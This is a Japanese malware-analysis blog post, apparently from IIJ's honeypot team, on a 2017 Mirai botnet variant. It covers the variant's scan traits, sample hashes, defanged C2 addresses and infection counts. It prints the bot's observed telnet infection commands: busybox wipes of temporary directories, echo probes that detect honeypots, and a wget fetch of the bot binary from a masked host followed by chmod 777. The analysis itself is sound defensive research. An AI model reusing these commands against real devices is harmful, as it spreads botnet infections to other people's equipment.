Mirai 亜種の活動状況について

図2 Mirai 亜種のダウンロード通信

前回の記事では、IIJ のマルウェア活動観測プロジェクト MITF のハニーポットに到達する通信の特徴から、Mirai および Hajime ファミリーの活動について紹介しました。本記事ではこれまでに知られている通信パターンに合致しない Mirai 亜種の最近の活動状況について解説します。

前回の記事でも触れたように、Mirai は感染活動を行う前にまずインターネット上に存在する IoT 機器のスキャンを行いますが、この時のスキャンのパケットにおける TCP の初期シーケンス番号と宛先 IP アドレスは同じになります[1]Mirai については IIR Vol.33 のフォーカスリサーチ「1.4.1 Mirai Botnet の検知と対策」を参照。https://www.iij.ad.jp/company/development/report/iir/033/01_04.html。Mirai は昨年ソースコードが公開されたため、コードを流用している亜種の多くが共通して同じ特徴を持っています。しかし中にはこの特徴と一致しない亜種も存在することが解析結果からわかっています。ここでは、中でも最近特に活発に活動している1つの亜種について取り上げます。

通信の特徴

この Mirai 亜種は2017年4月頃から MITF ハニーポットで観測されはじめ、そのスキャン通信は以下のような特徴を持っています。

  • TCP の初期シーケンス番号は0
  • TCP のウィンドウサイズは65535
  • 23/tcp および 2323/tcp に対してスキャンを実施 (9:1の割合)

10回のうち1回 2323/tcp をスキャンするのはオリジナルの Mirai と同じ動きですが、初期シーケンス番号は先程述べた特徴とは一致していません。

この検体がスキャンを実行する時のパケットキャプチャを以下に示します。23/tcp および 2323/tcp に対してスキャンを行っており、上記の特徴を持っていることがわかります。

図1 Mirai 亜種のスキャン通信
図1 Mirai 亜種のスキャン通信

対応アーキテクチャ

以下のアーキテクチャに対応した検体を IIJ では確認しています[2]以前は m68k, sparc にも対応していましたが、現在は確認できていません。。これらは感染時にダウンロードされるファイルの拡張子として使われています。

  • armv4l
  • i586
  • mips
  • mipsel
  • powerpc
  • sh4

観測されている検体

4月以降、数回にわたってバイナリが更新されていることを確認していますが、現時点で活動が観測されているのは以下のハッシュ値をもつ検体です。

ファイル名SHA256 ハッシュ
81c4603681c46036.armv4le11512be452867311a3c9112d2e4796e1b5073269cd4cc52544b8158eeb0c2a8
81c4603681c46036.i586ea005f9a03a0907b987a785fef0019959c4d16e18d1901f099e64d4daaa028c0
81c4603681c46036.mips1e90ef7656efe7b41061e8e820018766c290664ad4391b5818805d08a706cf52
81c4603681c46036.mipsel0c9ce3511f7a08af4c1f1ca1677f0fb2f8e2043defce067bcc48bd69ddd64455
81c4603681c46036.powerpc1a52148d301396a4a912d886c4cbed065a15bee875dbc796c28cee05a85eda8c
81c4603681c46036.sh42732805680bb1319db5b17fead2dd48493a54e5ad54f4a026758ccb9f79482db

C2 通信

C2 (Command & Control) の IP アドレスはバイナリの中にハードコードされており、過去に何度か変更されています。IIJ で確認している C2 のアドレスおよびポート番号は次のとおりです。

  • 109.236.91[.]226 (5月)
  • 91.211.3[.]102 (5月〜9月)
  • 5.188.11[.]112 (9/7〜)
  • ポート番号 6745/tcp, 6755/tcp, 6765/tcp

なおこの Mirai 亜種のユニークな動きとして、感染時に C2 サーバの 6765/tcp ポートに接続し、認証試行に利用するユーザ ID とパスワードのリストをダウンロードします。このリストの内容も時期によって更新されていることを確認しています。このダウンロード通信の16進ダンプを以下に示します。

図2 Mirai 亜種のダウンロード通信
図2 Mirai 亜種のダウンロード通信

送信コマンド

感染の手法はオリジナルの Mirai など他のボットと似ており、IoT 機器にデフォルトで設定されているユーザ ID とパスワードを利用して telnet でログインし、対象機器に感染します。MITF ハニーポットにおいて観測された、ログイン後に実行されるコマンドの例を以下に示します。(IP アドレスなど一部の情報はマスクしてあります。)

enable
system
shell
sh
/bin/busybox wget; /bin/busybox 81c46036wget; /bin/busybox echo -ne '\x0181c46036\x7f'; /bin/busybox printf '\00281c46036\177'; /bin/echo -ne '\x0381c46036\x7f'; /usr/bin/printf '\00481c46036\177'; /bin/busybox tftp; /bin/busybox 81c46036tftp;
/bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox cat /proc/mounts && /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* ./81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /dev/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /etc/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /var/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /var/tmp/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* //81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /proc/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /dev/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /dev/shm/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox rm -rf /tmp/* /var/tmp/* /tmp/81c46036*; /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'
/bin/busybox wget -O - http://xxx.xxx.xxx.xxx/81c4603681c46036/81c4603681c46036.i586 > ./81c4603681c46036.i586 && /bin/busybox chmod 777 ./81c4603681c46036.i586 && /bin/busybox echo -ne '\x0181c46036\x01' || /bin/busybox echo -ne '\x0281c46036\x01'Code language: Bash (bash)

echo や print などが多数実行されていますが、これは実際のコマンド出力とハニーポットの実装における出力との差異を利用した、ハニーポット検出の手法と考えられます。対象機器のアーキテクチャ判別を行ったあと、最終的には wget または tftp コマンドを利用してバイナリをダウンロードし実行しています。

通信の推移

2017年4月から8月の期間に IIJ のハニーポットに到達した通信 (スキャンのパケット) のうち、この Mirai 亜種の通信の特徴に合致するものを以下に示します。5月後半から8月まで活発に活動している様子がわかります。前回の記事で示した Mirai およびその亜種の活動の規模と比較すると、およそ2割程度に相当します。

図3 Mirai 亜種と推定される通信の推移
図3 Mirai 亜種と推定される通信の推移

感染数

MITF ハニーポットに到達した通信のユニークな送信元 IP アドレス数による推定では、8月末時点で4万台程度がこの Mirai 亜種に感染していると考えられます。8月に観測された通信の送信元アドレスの国別分布を以下に示します。

図4 Mirai 亜種と推定される通信の発信元の分布
図4 Mirai 亜種と推定される通信の発信元の分布

この亜種の活動は9月に入っても衰えておらず、引き続き活発な活動を続けています。IIJ ではこうした IoT ボットの感染活動を今後も継続して観測していきます。

脚注

脚注
1 Mirai については IIR Vol.33 のフォーカスリサーチ「1.4.1 Mirai Botnet の検知と対策」を参照。https://www.iij.ad.jp/company/development/report/iir/033/01_04.html
2 以前は m68k, sparc にも対応していましたが、現在は確認できていません。

シェアする